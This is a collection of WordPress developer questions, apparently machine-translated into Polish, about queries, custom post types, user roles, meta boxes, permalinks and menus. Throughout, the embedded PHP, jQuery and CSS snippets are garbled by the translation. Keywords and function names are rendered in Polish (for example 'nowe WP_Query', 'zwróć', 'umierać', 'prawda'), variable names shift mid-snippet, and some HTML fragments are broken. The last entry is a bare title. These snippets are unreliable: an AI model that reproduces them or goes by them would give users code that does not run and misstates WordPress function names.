text: Walczę o zrozumienie, jak zapytania działają z get_posts(), query_posts() i WP_Query(). W szczególności nie rozumiem, jaka może istnieć wcześniejsza selekcja, gdy używa się jej w danym szablonie strony. Z różnych blogów wydaje się, że domyślną sytuacją jest to, że query_posts() i WP_Query() stosują istniejące wcześniej filtry, podczas gdy get_posts je tłumi. Jednak kodeks mówi, że query_posts() ignoruje inne parametry, które otrzymuje za pośrednictwem adresu URL (takie jak numer strony lub kategoria). Czy te filtry/parametry są takie same, czy coś innego? Jak mogę ostatecznie stwierdzić, jaki wcześniejszy wybór będzie istniał podczas tworzenia zapytania?


title: Zezwól członkowi na dostęp tylko do niestandardowego typu wpisu. Zezwolenie tylko na edycję własnych postów

text: OK, szukam najlepszego sposobu na zaatakowanie tego. Jestem bardzo zadowolony z PHP i tworzenia niestandardowych typów postów z niestandardowymi polami meta w WordPress. Oto co mam zamiar zrobić: 1. Użytkownik rejestruje się i jest domyślnie ustawiony na abonenta. 2. Prośby użytkownika od administratora o pozwolenie na niestandardowy typ postu. 3. Administrator przypisuje użytkownika do innej nazwy uprawnień, np. „Właściciel sklepu”. 4. Użytkownik może teraz zobaczyć niestandardowy typ postu i może dokonać wpisu do tego typu postu. 5. Użytkownik może tylko przeglądać i edytować własny post. Potrzebuję pomocy w następujących kwestiach: 1. Jak utworzyć nową „rolę” o nazwie „Właściciel sklepu”, 2. Jak nadać tej roli odpowiednie uprawnienia, aby widzieć i mieć dostęp tylko do niestandardowego typu postu. 3. Zezwalaj użytkownikom tylko na przeglądanie i edytowanie własnych postów w tym niestandardowym typie postów. Idealnie wolałbym, aby to wszystko zostało zrobione z wp-admin, ale zgaduję, że być może będę musiał zbudować frontend, aby uzyskać skończoną kontrolę, o którą mi chodzi. Każdy wkład jest bardzo mile widziany. Z poważaniem


title: Używanie permalinków root z instalacją podkatalogu

text: Mój adres WordPress (URL) http://mojadomena.com/wordpress Adres mojej witryny (URL) to http://mojadomena.com Moja witryna działa poprawnie, gdy jest otwierana z http://mojadomena.com i nie mam problemów z mówieniem z, ale: http://mojadomena.com/wordpress daje mi 404. Jest to problem (w rzeczywistości tylko go zauważyłem), ponieważ IFTTT.com aktywuje kanał WordPress tylko wtedy, gdy użyję http://mojadomena.com /wordpress jako mój adres URL WordPress. A potem aktywuje się dobrze. Ale wszystkie moje przepisy zawodzą, ponieważ ten sam adres URL 404s. Jaki jest najlepszy/preferowany sposób przekierowania http://mojadomena.com/wordpress na http://mojadomena.com ze względu na IFTTT bez naruszania wszystkiego, co jest w porządku na stronie?


title: Paginacja daje dodatkową stronę bez wyników

text: Próbuję zaimplementować paginację na stronie kategorii. Paginacja działa, ale teraz z jakiegoś powodu używana przeze mnie wtyczka do paginacji odnotowuje jedną dodatkową stronę wyników, gdy ta strona jest faktycznie pusta. Jestem prawie pewien, że nie ma to nic wspólnego z wtyczką paginacji, ponieważ widziałem raporty ludzi mających ten sam problem z next_posts_link i previous_posts_link. Czy ktoś ma jakiś pomysł, jak to się mogło stać? Pętla: <?php global $myOffset; $mojePrzesunięcie = 11; $temp = $wp_query; $wp_query= null; $wp_query = nowe WP_Query(); $wp_query->query('offset='.$myOffset.'&cat=6&posts_per_page=12'.'&paged='.$paged); ?> <?php while ($wp_query->have_posts()) : $wp_query->the_post(); ?> RZECZY <?php endwhile; ?> <?php if(function_exists('wp_paginate')) { // pobierz strony na wp_paginate(); } ?> Edytuj: Używam również tej wtyczki functions.php, aby włączyć parametr offset w niestandardowym wp_query: function my_post_limit($limit) { global $paged, $myOffset; if (pusty($stronicowany)) { $stronicowany = 1; } $postperpage = intval(get_option('posts_per_page')); $pgstrt = ((intval($paged) -1) * $postperpage) + $myOffset . ', '; $limit = 'LIMIT'.$pgstrt.$postperpage; zwróć limit $; } //zakończ funkcję my_post_limit


title: Usunąć motyw, zmienić przycisk motywu i wersję WP na pulpicie administratora „Right Now”?

text: Szukam sposobu na usunięcie motywu, zmianę przycisku motywu i wersji WP z pulpitu administratora „w tej chwili”, ale używając tylko funkcji. Jakaś pomoc?


title: data wartości pola niestandardowego konwertowana na problemy ze znacznikiem czasu uniksowego

text:
Z jakiegoś powodu mam trudności z konwersją wartości daty przechowywanej w polu meta na sygnaturę czasową unix (i z powrotem). Jeśli zapiszę datę jako ciąg, wszystko działa dobrze, ale jeśli przekonwertuję ją na znacznik czasu za pomocą `strtotime`, wartość nie zostanie zachowana. Mój działający kod wygląda tak: <?php add_action( 'add_meta_boxes', 'rs_add_date' ); function rs_add_date() { add_meta_box( 'rs_add_date', 'Data', 'rs_add_date_create_meta_box', 'koncerty', 'normalny', 'wysoki' ); } function rs_add_date_create_meta_box($post ) { $date = get_post_meta($post->ID, 'rs_date', true); echo 'Wybierz datę wydarzenia'; wp_nonce_field( plugin_basename(__FILE__), 'rs_date_nonce'); ?>
Data (dd/mm/rrrr) <input type="text" name="rs-data" id="rs-date" value="<?php echo $data; ?>">
 <?php } // Zapisz nową meta add_action('save_post', 'rs_date_save_meta'); function rs_date_save_meta($post_id) { if(!wp_verify_nonce($_POST['rs_date_nonce'], plugin_basename(__FILE__))) return; if(!current_user_can('edit_posts')) return; $data = $_POST['rs-data']; update_post_meta($post_id, 'rs_date', $data); } ?> Ale jeśli zmienię to na następujące, nie zadziała: <?php add_action( 'add_meta_boxes', 'rs_add_date' ); function rs_add_date() { add_meta_box( 'rs_add_date', 'Data', 'rs_add_date_create_meta_box', 'koncerty', 'normalny', 'wysoki' ); } function rs_add_date_create_meta_box($post ) { $date = get_post_meta($post->ID, 'rs_date', true); $data = czas("d/m/R", $data); echo 'Wybierz datę wydarzenia'; wp_nonce_field( plugin_basename(__FILE__), 'rs_date_nonce'); ?>
Data (dd/mm/rrrr) <input type="text" name="rs-data" id="rs-date" value="<?php echo $data; ?>">
 <?php } // Zapisz nową meta add_action('save_post', 'rs_date_save_meta'); function rs_date_save_meta($post_id) { if(!wp_verify_nonce($_POST['rs_date_nonce'], plugin_basename(__FILE__))) return; if(!current_user_can('edit_posts')) return; $data = $_POST['rs-data']; $data = strtotime($data); update_post_meta($post_id, 'rs_date', $data); } ?> Drapię się w głowę! Twoje zdrowie


title: Ograniczenia podczas modyfikowania wp_title za pomocą filtra

text: Podczas konstruowania atrybutu HTML `<title>` w motywie, znalazłem wygodny zaczep do modyfikacji wp_title. Jednak szybki przegląd tematów wskazuje, że używanie tego haka nie jest powszechną praktyką. W rzeczywistości, jeśli spojrzysz na TwentyEleven, zobaczysz to w pliku header.php: <title><?php /* * Wydrukuj tag <title> na podstawie tego, co jest oglądane. */ globalna $strona, $stronicowana; wp_title( '|', prawda, 'prawo' ); // Dodaj nazwę bloga. bloginfo( 'nazwa' ); // Dodaj opis bloga dla strony głównej/pierwszej. $site_description = get_bloginfo( 'opis', 'wyświetlanie' ); if ( $opis_witryny && ( is_home() || is_front_page() ) ) echo " | $opis_witryny"; // W razie potrzeby dodaj numer strony: if ( $paged >= 2 || $page >= 2 ) echo ' | '. sprintf( __( 'Strona %s', 'dwadzieścia jedenaście' ), max( $paged, $page ) ); ?></title> Wydaje mi się, że można to wciągnąć do `functions.php` i zastąpić: _(w functions.php)_ add_filter( 'wp_title', 'twentyeleven_title_filter' ); function dwudziesteeleven_title_filter( $title ) { // Cała ta logika tytułu tutaj } _(w header.php)_ <title><?php wp_title(); ?></title> Jestem całkiem nowy w tworzeniu motywów, więc wybacz mi, jeśli jest to powszechna wiedza - ale dlaczego nie po prostu zmodyfikować wp_title w filtrze zamiast w nagłówku? Czy gdzieś jest jakieś ograniczenie? W tym bilecie jest trochę debaty na temat wp_title, ale z tego, co mogę wywnioskować, nadal brzmi to, jakby filtr zadziałał - czy się mylę?


title: Wyświetlaj miniaturę zamiast tytułu tekstowego - Wp Plugin „Download Monitor”

text:
używam tej ładnej wtyczki (monitor pobierania wordpress), fajna funkcja. mam jeden problem, jest sekcja pobierania kategorii, właściwie chcę wyświetlić miniaturę zamiast "tytułu posta" proszę spojrzeć na ![zrzut ekranu](http://i.stack.imgur.com/9svco.jpg) oto kod tej sekcji .. $page .= do_shortcode('[downloads query="exclude='.implode(',',$exclude_array).'&limit='.$pop_cat_count.'&orderby='.$front_order .'&order=desc&category='.$cat->id.'" wrap="" format="'.htmlspecialchars(str_replace('{url}',wp_dlmp_append_url('did=').'{id}',$ format)).'"]'); $strona .= '
'; powyżej tej sekcji znajduje się polecana sekcja pobierania, chcę wyświetlić sekcję kategorii, tak samo jak powyżej, tutaj jest kod polecanej sekcji $page .= '
id).'" title="'.$wersja.' '.__('Pobrano',"wp-download_monitor").' '.$d->trafienia.' '.__('times',"wp-download_monitor").'" >title).'" />
ID) . '" class="linkcara">' .strip_tags($d->tytuł). '

'; aby uzyskać więcej informacji o wtyczce kliknij tutaj.


title: Akcja save_post nie przekazuje identyfikatora posta do mojej funkcji jako argumentu

text: Dodaję pole do _dodaj / aktualizuj post screen_. add_action( 'save_post', 'psd_upload_kaydet' ); add_action( 'add_meta_boxes', 'psd_upload' ); function psd_upload() { add_meta_box("psd-upload", "Bir Dosya Upload Edin", "psd_upload_box", "post"); } function psd_upload_box($post) { echo "zawartość tutaj"; } funkcja psd_upload_kaydet($post_id) { die($post_id); // dla debugowania, wyjaśnię to } Nie ma błędu podczas dodawania pola, ale normalnie, po zapisaniu posta, `add_action( 'save_post', 'psd_upload_kaydet' );` przekaże **post id** jako argument do `psd_upload_kaydet()` Ale nie przekazuje go do `psd_upload_kaydet()` jako argumentu. Sprawdzam `die($post_id);` , ale zwraca tylko pustą stronę. Krótko mówiąc, potrzebuję **identyfikatora posta** w `psd_upload_kaydet()` :)


title: filtr wp_insert_post_data, aby ustawić kategorię

text: Próbuję ustawić dodatkowe "domyślne" kategorie. Doszedłem do wniosku, że podłączając się do filtra `wp_insert_post_data`, mogę użyć `$postarr` do ustawienia kategorii. Wydaje się, że to nie działa? Czy ktoś może doradzić, jak mam to zrobić? add_filter( 'wp_insert_post_data', 's3x9s_wp_insert_post_data', '99', 2 ); funkcja s3x9s_wp_insert_post_data ($dane, $postarr) { array_push($postarr['post_category'], 123); zwróć $dane; }


title: the_title() i the_permalink() nie będą działać w wywołaniach AJAX

text:
Mam dziwny problem. Mam niestandardową pętlę zbudowaną za pomocą `get_posts`, która działa dobrze podczas normalnego ładowania strony: <?php $rows = get_posts(array( 'post_type' => 'drinks', 'numberposts' => -1)); ?> <?php foreach ($wiersze jako $post) : setup_postdata($post) ?> <?php the_post_thumbnail() ?>
<?php the_title() ?>
 <?php the_content() ?> <?php the_permalink() ?> <?php endforeach; wp_reset_postdata() ?> Ten kod znajduje się w swoim własnym szablonie o nazwie "drinks.php". Teraz skonfigurowałem funkcję/adres URL AJAX, aby pobrać ten szablon za pomocą jQuery: add_action('wp_ajax_h5b_get_user_drinks', 'h5b_ajax_get_user_drinks'); add_action ('wp_ajax_nopriv_h5b_get_user_drinks', 'h5b_ajax_get_user_drinks'); function h5b_ajax_get_user_drinks () { include 'drinks.php'; umierać; } Jednak kiedy pobieram go za pomocą AJAX, wydaje się, że ani `the_title()`, `the_post_thumbnail()` ani `the_permalink()` nie działają. Jednak `the_content()` wydaje się działać dobrze. Jeśli `var_dump($post)` wewnątrz mojej pętli ma wszystkie dane, które powinny (takie jak tytuł, przewodnik itp.). Jak to może być?


title: Jak wyświetlić niestandardową (pola wyboru) wartość pola na liście postów administratora?

text: Mam niestandardowy typ posta dla produktów i niestandardowe pole wyboru meta dla „Sprzedane”. Jak mogę wyświetlić status Sprzedane w kolumnie na liście edycji Produkty i umożliwić jej sortowanie (aby posortować wszystkie sprzedane przedmioty razem) lub filtrować je według statusu Sprzedane?


title: Jak modyfikować zawartość iFrame w grubym polu administratora?

text: Mam łącze w metaboksie, które powoduje wyświetlenie ramki iFrame Thickbox innej strony w mojej witrynie. Działa dobrze, z wyjątkiem tego, że nie mogę wpływać na DOM strony w iFrame. Co muszę z tym zrobić, aby zadziałało? Poniższy kod działa, gdy uruchamiam go w konsoli po załadowaniu Thickboxa, ale nie działa, gdy po prostu umieszczam go w kodzie metaboxa. jQuery('#TB_iframeContent').contents().find('html' ).css('border', '5px stałe czerwone'); Opakowanie go funkcją .load() (aby czekać na pełne załadowanie iFrame) również nie działało: jQuery('#TB_iframeContent').load(function() { alert('iframe jest załadowany'); jQuery ('#TB_iframeContent').contents().find('html' ).css('border', '5px stałe czerwone'); }); Alarm też nigdy nie jest uruchamiany. czego mi brakuje? (Ps. Nie próbuję tylko dodać czerwonego obramowania; to tylko dla ilustracji :) Ponadto: zamieszczam to tutaj zamiast SO, ponieważ przeczytałem, że wbudowany kod WP Thickbox jest nieco dostosowany.)


title: Multi Szybka edycja - możliwa czy niemożliwa?

text: Zastanawiam się tylko, czy jest to możliwe, ponieważ nazwy odmian wymienione w produktach zawierają tekst, który nie jest konieczny, mimo że usunąłem kategorię, nadal się pojawia. Mam nadzieję, że pomożecie wyjść z tego.


title: Zmienić link bezpośredni dla niestandardowego typu posta?

text: Mam stronę o nazwie Jedzenie, która wyświetla posty z 2 niestandardowych typów postów - Przepisy i Restauracje. Jak dodać „jedzenie” do linku bezpośredniego tylko dla tych dwóch niestandardowych typów postów? - np. www.mojawitryna.com/jedzenie/recipes/thepost


title: Jak mogę sprawdzić, czy jestem na niestandardowej stronie archiwum typu postów?

text: Skonfigurowałem dla niego niestandardowy typ postu i niestandardową taksonomię. Używam najnowszej wersji Wordpressa. Uważam, że powinienem użyć funkcji `is_post_type_archive`, ale wydaje się, że zwraca ona fałsz bez względu na wszystko. Ustawiony przeze mnie typ posta nazywa się „artykuły”, a taksonomia nazywa się „edycje”. Próbuję uzyskać dostęp do „/editions/wrzesień” i wyświetla się strona archiwum, ale tytuł strony jest wyświetlany jako pierwszy post tytuł. Mogę to naprawić, jeśli uda mi się wymyślić, jak napisać warunkowe oświadczenie, aby poinformować mnie, że jestem na niestandardowej stronie taksonomii typu post. Jak mogę to osiągnąć?


title: Używanie klas zamiast funkcji globalnych w functions.php

text: W wielu motywach, które widziałem (w tym TwentyEleven) iw przykładach, które znalazłem w Internecie, podczas budowania pliku `functions.php` dla motywu wszystkie funkcje są deklarowane w zasięgu globalnym. Dla wyjaśnienia, tak wygląda typowy plik funkcji: function mój_motyw_do_foo() { // ... } function mój_motyw_do_bar() { // ... } add_action( 'foo_hook', 'mój_temat_do_foo' ); Wydawałoby się, że można by trochę lepiej "zahermetyzować" klasę: class MyTheme { function do_foo() { // ... } function do_bar() { // ... } } $my_theme = nowy MójMotyw(); add_action( 'foo_hook', array( &$my_theme, 'do_foo' ) ); Zalety drugiego podejścia (w moich skromnych oczach): * Krótsze nazwy funkcji * Dostęp do zmiennych instancji (największa zaleta IMO) * Brak funkcji globalnych Wady: * Nazwa klasy może nadal powodować konflikty * Nie tak jasne, jak "dostosować" motyw potomny (musiałby rozszerzyć klasę nadrzędną) * Większość motywów nie robi tego w ten sposób, więc przeciwstawiłbyś się trendowi, który prawdopodobnie przeoczam, ale zastanawiam się, dlaczego nie zastosować podejścia OOP? Wydaje mi się, że to trochę „czystsze”, jeśli w ogóle. Może się mylę? Jestem całkiem nowy w tworzeniu motywów WordPress, więc wybacz mi, jeśli jest to powszechna wiedza w społeczności WP :). Po prostu próbuję dowiedzieć się, dlaczego wszystko jest takie, jakie jest.


title: Menu główne - pozbyć się tytułów?

text: Mam domyślne menu główne: wp_nav_menu(); Ale daje listę linków w postaci: (...) NazwaStrony (...) Bardzo ważnym pytaniem jest, jak zmusić WP do wyświetl to w następujący sposób: (...) Nazwa strony (...) Nie podoba mi się, że żółte pola pojawiają się za każdym razem, gdy najeżdżam na coś w menu. Wiem, że to możliwe, bo widziałem, jak działa, ale nie mam pojęcia jak? Może filtry? Jakieś pomysły?


title: Nie wyświetlaj posta, jeśli post ma pustą treść

text: Mam niestandardowe witryny typu postów zarejestrowane przez „register_post_type”, a moja strona główna wyświetla moje najnowsze posty. W tym posty z „witryn”. Czy mogę w jakiś sposób ustawić, aby **posty z witryn** (niestandardowy typ postu), które nie mają treści **nie zawiera treści** (brak treści), **NIE** były wyświetlane? Treść niestandardowego typu wpisu nie jest _ważna_ , ale tytuł. Wprowadziłem niestandardowe pola dla mojego niestandardowego typu postu. Tworzę listę z niestandardowych postów i większość z nich nie ma żadnej treści. Więc nie chcę ich pokazywać. To tylko utrudni czytanie sieci. Chcę wyświetlać tylko posty niestandardowe, które mają treść. Nie modyfikowałem pętli. Jak mogę zmodyfikować pętlę (wprowadzić niestandardowe zapytanie) jako część wtyczki?


title: Wtyczki Minifikacji psują moją witrynę

text: Cóż, mój blog jest co najmniej trochę Image Heavy. Używam różnych typów wtyczek minifikacyjnych, ale wszystkie wydają się psuć moją witrynę. Kiedy mówię wtyczkom, aby skompresowały i dołączyły do moich plików css i javascript... całkowicie się ich pozbywa, a moja strona staje się niczym innym jak niezorganizowanym bałaganem tekstu i obrazów. Czy jest coś, co mogę zrobić z moim blogiem, aby minifikacja działała? Jedyną, która wydaje się nie psuć mojej witryny, jest ta o nazwie „Better Wordpress Minify”… ale ta wtyczka prawie NIE ma żadnego wpływu na wydajność mojej witryny.


title: Czy można sprawdzić skróty na stronie?

text: Czy można sprawdzić, jakie skróty są używane na otwartej stronie za pomocą funkcji PHP/WP? Po co mi to? Mam specjalny div ("#page-navi") na każdej stronie i gdy użytkownik używa shortcode [portfolio], chcę, aby wyświetlał nawigację w tym właśnie div. Lub gdy użytkownik używa [galeria], chcę wyświetlić w tym div „to jest galeria”. Jakieś pomysły? :)


title: parametr orderby nie działa w niestandardowym zapytaniu

text:
Mam naprawdę dziwny problem ze stroną, którą aktualizuję... Wszystko, co chcę zrobić, to mieć to tak, aby posty pojawiały się w porządku malejącym, a nie losowym. Mam następujący kod, ale kiedy zmienisz go z „rand” na „desc”, po prostu domyślnie wciąga posty w kolejności „asc”. Nie mam pojęcia dlaczego. Ponadto, jeśli zmienisz „orderby” na „order”, po prostu domyślnie jest to kolejność rosnąca… Przeszukałem motyw, aby zobaczyć, gdzie to się dzieje, ale nie ma w ogóle miejsca, gdzie to jest wymienione… Czy ktoś proszę poprowadź mnie we właściwym kierunku? <?php $args= array( 'post_type' => 'rodziny-oczekujące', 'orderby' => 'rand' ); // Zapytanie $the_query = new WP_Query( $args ); // Pętla if (have_posts() ): while ( $the_query->have_posts() ) : $the_query->the_post(); ?> <div <?php post_class() ?> id="post-<?php the_ID(); ?>">
<a href="<?php the_permalink(); ?>"><?php tytuł(); ?>
 <?php if ( has_post_thumbnail()) { ?> <a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail($id, 'thumbnail' , array('class' => 'alignleft','style' => 'szerokość: 150px;wysokość: 150px;dopełnienie: 3px; tło: #f0f0f0; obramowanie: 1px solid #65C8C6;')); ?> <?php } ?> <?php mój_odpis(55); ?>
 <?php edit_post_link('Edytuj', '', ' | '); ?>

 <?php endwhile; else: echo '
Więcej rodzin w przyszłości
'; endif; ?> <?php // Zresetuj dane posta wp_reset_postdata(); ?>


title: Jakiej wtyczki mogę użyć do stworzenia listy / pokazu slajdów polecanych obrazów?

text: Szukam wtyczki, która pozwoli użytkownikowi wgrać pliki, może 4-10, które można wykorzystać na stronie głównej jako część pokazu slajdów. Mogę sam zakodować część pokazu slajdów, jeśli to konieczne, ale interesuje mnie sposób, w jaki użytkownik może wybrać / przesłać zdjęcia. Byłoby wspaniale, gdyby były zintegrowane z menedżerem mediów Wordpressa, tak jak inne przesyłane pliki. Dziękuję!


title: Jak dodać kategorie do wp_list_pages()

text: Jaki (jeśli w ogóle) jest hak lub metoda włączania nazwanych kategorii do funkcji wp_list_pages? W rezultacie kategorie zostaną dodane na końcu listy stron (wraz z istniejącymi kategoriami podrzędnymi, z odpowiednim zagnieżdżeniem ul/li dla rozwijanego css do działania)... Strona główna | O | Kontakt | Kategoria 1 | Kategoria 2


title: różnica między add_object_page a add_menu_page

text: Według Codex, `add_object_page` "zasadniczo robi dokładnie to samo, co `add_menu_page()` na wypadek, gdybyś się zastanawiał". Więc.... jaka _jest_ różnica między tymi dwiema funkcjami?


title: Aktualizacja Wordpress 3.1 odwróciła moje posty na blogu

text: ktoś wie, dlaczego moje posty na blogu są teraz wyświetlane w odwrotnej kolejności od czasu aktualizacji do Wordpress 3.1? Więc jak mój pierwszy post pojawia się jako pierwszy, a mój ostatni jest na stronie 12?! jakieś pomysły jak to naprawić? James


title: Co to jest theme-editor.tmp?

text: Co to jest theme-editor.tmp? Znajduje się pod treścią wp.


title: Co się stało z WP No Category Base?

text: Co się stało z wtyczką w repozytorium wtyczek Wordpress? Link nie działa: http://wordpress.org/extend/plugins/wp-no-category-base/ a wyszukiwanie tej wtyczki nie wyświetla jej. Tak, wiem, że mogę go pobrać ze strony autora, ale jestem zaintrygowany, dlaczego ludzie z wordpress.org mieliby usunąć go ze swojej listy?


title: Tabele importu CSV

text: Cześć Chciałbym zaimportować tabele przez CSV, konkretne wtyczki lub funkcje, które mogą mi w tym pomóc? Chciałbym, żeby stały we własnym stoliku, a następnie użytkownik mógłby je zawrzeć za pomocą shortcode i id. [identyfikator tabeli=1] Dzięki


title: WordPress 3.9 dwa menu w tej samej pozycji?

text: Mam nowy motyw WordPress i chcę dodać dodatkowe menu, ale ponieważ WordPress 3.9 pozwala na dodanie tylko jednego menu w jednej pozycji/miejscach w motywie? Jak mogę dodać dwa menu w jednej pozycji? Kupiłem motyw i ma on górną nawigację o nazwie „top-navigation”, której użyłem w moim menu głównym. Poniżej potrzebuję innego menu, ale nie mogę dodać, ponieważ tylko jedno menu można dodać w jednej pozycji w tym motywie. Dlatego staram się dodać szczupłe menu o pełnej szerokości.


title: Problemy z wyświetlaniem polecanego obrazu jako miniatury podczas korzystania z udostępniania na Facebooku

text: OK, wiem, że jest wiele pytań i artykułów dotyczących wyświetlania miniatury posta (tj. wyróżnionego obrazu) jako miniatury do udostępniania na Facebooku, ale nadal mam z tym problemy. Używam wtyczki AddThis do Wordpress i mam zestaw narzędzi, który pokazuje udział FB, udział na Twitterze, G+, Digg, StumbleUpon. Kiedy chcę udostępnić za pośrednictwem Facebooka, tytuł i fragment są wyświetlane poprawnie, ale miniatura nie jest moim wyróżnionym obrazem, ale pierwszym obrazem z treści posta. Mogę wybrać obraz, który będzie używany jako miniatura w oknie udostępniania i w ten sposób użyć wyróżnionego obrazu jako miniatury, ale chcę, aby wyróżniony obraz był pierwszym wyświetlanym bez możliwości zmiany go na dowolny inny obraz z postu. Próbowałem wszystkiego, o czym mogłem pomyśleć - wtyczek, które dodają tagi Open Graph, próbowałem dodać tagi OG ręcznie do `head`, skopiowałem/wkleiłem tagi z czterech lub pięciu różnych artykułów, użyłem czystych tagów OG i użyłem ich w instrukcjach `if` ; Nie wiem czego jeszcze spróbować. Czy mógłbyś mi podać dokładny kod, który powinienem umieścić w tagach `head`, aby podczas udostępniania za pośrednictwem Facebooka nie było opcji wyboru miniatury, ale zawsze wyświetlała miniaturę posta. Wiem też, że FB buforuje obrazy, gdy wysyłane jest żądanie udostępnienia, więc za każdym razem, gdy testowałem kod, używałem nowego posta.


title: Jak sprawić, by link do menu był widoczny tylko dla administratorów (bez wtyczek)?

text: Używam menu nad moim wordpressem, które pokazuje 3 linki. 1. Strona główna 2. Strona niestandardowa 3. Strona niestandardowa Czy mogę dodać czwarty link do mojego menu, który jest widoczny i dostępny tylko dla administratorów (bez wtyczek)? Ta czwarta strona byłaby również stroną niestandardową, którą tworzę. Jak mam to zrobić, czy ktoś ma od czego zacząć?


title: Metabox Wordpress nie może być wyświetlany w index.php

text:
Mam problem, zrobiłem już niestandardowy typ posta i przypisałem mu metabox, ale nie mogę go użyć w index.php. Oto mój kod: To jest dla niestandardowego typu posta i pola meta w functions.php: class prosperity_cats { function prosperity_cats() { add_action('init',array($this,'create_post_type')); } function create_post_type() { $labels = array( 'name' => _('cats','prosperity_cats'), 'singular_name' => __('cat','prosperity_cats'), 'add_new' => __( 'Dodaj nowy','prosperity_cats'), 'all_items' => __('all_items cats','prosperity_cats'), 'add_new_item' => __('Dodaj nowego kota','prosperity_cats'), 'edit_item' => __('Edytuj kota','prosperity_cats'), 'new_item' => __('Nowy kot','prosperity_cats'), 'view_item' => __('Wyświetl kota','prosperity_cats'), 'search_items' = > __('Wyszukaj koty','prosperity_cats'), 'not_found' => __('Nie znaleziono kotów','prosperity_cats'), 'not_found_in_trash' => __('Nie znaleziono kotów w koszu','prosperity_cats') , 'parent_item_colon' => __('Rodzic kot:','prosperity_cats'), 'menu_name' => __('koty','prosperity_cats') ); $args = array( 'labels' => $labels, 'description' => "Dodaj własne nadchodzące koty", 'public' => true, 'exclude_from_search' => true, 'publicly_queryable' => true, 'show_ui' => prawda, 'show_in_nav_menus' => prawda, 'show_in_menu' => prawda, 'show_in_admin_bar' => prawda, 'menu_position' => 100, 'menu_icon' => '/absolute/url/to/icon', 'capability_type ' => 'post', 'hierarchical' => true, 'supports' => array('title','editor'), 'has_archive' => true, 'rewrite' => array('slug' => ' your-slug', 'with_front' => 'before-your-slug'), 'query_var' => true, 'can_export' => true ); register_post_type('prosperity_cats',$args); } } $prosperity_cats = nowe prosperity_cats(); /* Data i godzina */ function cf_cats_post_type() { $cats_labels = array( 'name' => 'Koty', 'singular_name' => 'Kot', 'add_new' => 'Dodaj nowego kota', 'add_new_item' = > 'Dodaj nowego kota', 'edit_item' => 'Edytuj kota', 'new_item' => 'Nowy kot', 'view_item' => 'Wyświetl kota', 'search_items' => 'Wyszukaj koty', 'not_found' => 'Nie znaleziono kotów', 'not_found_in_trash' => 'Nie znaleziono kotów w koszu', ); $cats_args = array( 'labels' => $cats_labels, 'public' => true, 'query_var' => 'cf_cats', 'hierarchical' => false, 'menu_position' => 5, 'show_in_nav_menus' => true, 'rewrite' => true, 'supports' => array( 'title', 'editor', 'thumbnail' ), ); // Zarejestruj niestandardowy typ postu register_post_type( 'cf_cats', $cats_args ); } // Utwórz niestandardowe pole meta add_action( 'add_meta_boxes', 'cf_cats_meta_box', 1 ); // Wyświetl własną funkcję metabox cf_cats_meta_box() { add_meta_box( 'cf-cat-meta-box', 'Szczegóły kota', 'cf_cat_details', 'prosperity_cats', 'normal', 'high' ); } // Funkcja wyświetlająca zawartość naszej funkcji meta pola cf_cat_details( $post ) { // Pobierz zapisane metadane, jeśli istnieją $cf_cat_age = get_post_meta( $post->ID, '_cf_cat_age', true ); $cf_cat_toy = get_post_meta( $post->ID, '_cf_cat_toy', prawda ); // Utwórz pole typu nonce do weryfikacji wp_nonce_field( 'cf_submit_cat', 'cf_cat_check' ); // Formularz wewnątrz naszego meta pola echo '

 Wiek: 	 <input type="text" name="cf_cat_age" size="30" maxlength="2" value="' . esc_attr( $cf_cat_age ) . '" />

 Ulubiona zabawka:	 <input type="text" name=" cf_cat_toy" size="30" maxlength="100" value="' .esc_attr( $cf_cat_toy) . '" />

'; } // Zaktualizuj/Zapisz metadane kota add_action('save_post', 'save_cat_metadata'); function save_cat_metadata( $post_id ) { // Sprawdź, czy jest to procedura automatycznego zapisywania. if (zdefiniowane( 'ROBIENIA_AUTOMATYCZNY' ) && ZROBIĆ_AUTOSAVE ) { return; } //Sprawdź uprawnienia if ( !current_user_can( 'publish_posts' )) { // Sprawdź możliwości, a nie rolę wp_die( 'Niewystarczające uprawnienia: Przepraszamy, nie masz możliwości dostępu do tej strony. Wróć.' ); } // Sprawdź numer jednorazowy o nazwie cf_cat_check // Sprawdź, czy pochodzi on z naszego ekranu i z odpowiednią autoryzacją if ( !isset( $_POST['cf_cat_check'] ) || !wp_verify_nonce( $_POST['cf_cat_check'], 'cf_submit_cat' ) ) {                 zwrócić; } // OK, jesteśmy uwierzytelnieni: musimy zapisać dane // Sprawdź, czy metadane są ustawione if ( isset( $_POST['cf_cat_age'] ) && isset( $_POST['cf_cat_toy'] ) ) { / / Zapisz metadane update_post_meta( $post_id, '_cf_cat_age', strip_tags( $_POST['cf_cat_age']) ); update_post_meta( $post_id, '_cf_cat_toy', strip_tags( $_POST['cf_cat_toy']) ); } } Próbowałem tego w index.php, ale to nie działa: $cf_cat_age = get_post_meta(get_the_id(), 'cf_cat_age', true);


title: Próbuję usunąć zduplikowane skrypty jquery

text: Dodałem to <?php wp_enqueue_script("jquery"); ?> przed <?php wp_head(); ? colorbox-min.js:4Uncaught ReferenceError: jquery nie jest zdefiniowany Zgaduję, że muszę zmodyfikować submitform.js i jquery.colorbox-min.js, po prostu nie jestem pewien, w którą stronę iść, jeśli to pomaga tutaj jest strona, transaction- realty.com Dzięki


title: Czy możesz mieć różne menu i motywy dla każdej strony?

text: Planuję mieć nową witrynę utworzoną za pomocą stron WP. Moja firma skupia się na 3 lub 4 dyskretnych obszarach, w tym jeden z tych, które szczególnie chcę promować, z własnym zestawem stron. Idealnie byłoby, gdyby miała również swój własny, nieco inny branding niż reszta witryny, a strony w tej sekcji miałyby własne menu skupiające się na stronach w tej sekcji - aby uniknąć zaśmiecania menu głównego. Czy jest to możliwe/sensowne w przypadku pojedynczej instalacji WP, czy lepiej skonfigurować 2 oddzielne (jeden na subdomenie)?


title: Zarządzaj zasobem przez REST API

